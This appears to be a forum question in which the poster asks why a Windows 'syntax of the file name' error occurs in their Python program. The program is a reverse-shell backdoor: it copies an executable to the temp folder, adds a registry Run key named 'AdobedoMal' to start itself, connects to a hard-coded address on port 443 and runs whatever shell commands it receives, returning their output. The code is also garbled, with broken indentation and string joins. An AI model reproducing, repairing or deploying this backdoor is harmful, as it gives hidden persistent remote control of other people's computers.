The syntax of the file name, directory name, or volume label is incorrect

I can not solve this problem that says: "The syntax of the file name, directory name, or volume label is incorrect." I thought it was an ill-specified path, but I do not think it was.

import socket,time,subprocess,tempfile,os
ip='192.168.0.102'
port=443
FILENAME='teste.exe'
TEMPDIR=tempfile.gettempdir()
def autorun():
  try:
   os.system("copy "+FILENAME+""+TEMPDIR)
   except:
    print("Erro na cópia")
        pass
    try:
        FNULL=open(os.devnull, 'w')
        subprocess.Popen("REG ADDHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\""/v AdobedoMal /d" +TEMPDIR+"\"+FILENAME, stdout=FNULL,stderr=FNULL)
    except:
        print("Erro no registro")
        pass def connect(ip,port):
    try:
        s=socket.socket()
        s.connect((ip,port))
        s.send(b'Conecxao Recebida')
        return s
    except Exception as e:
        print('Erro de conexao:\n', e)
        return None def listen(s): try:
        while True:
            data=s.recv(1024)
            if data[:-1]== 'exit':
                s.close()
                exit(0)
            else:
                cmd(s,data)   except:
       error(s) def cmd(s,data):try:   proc=subprocess.Popen(data.decode(), shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
    dados=proc.stdout.read()+proc.stderr.read()
s.send(dados)
  except:
      error(s)
def error(s):
 if s:
    s.close()
 main()
def main():
 while True:
    s_conectado=connect(ip,port)
    if s_conectado:
        listen(s_conectado)
    else:
        print("Conexao deu erro")
        time.sleep(1)
autorun()
main()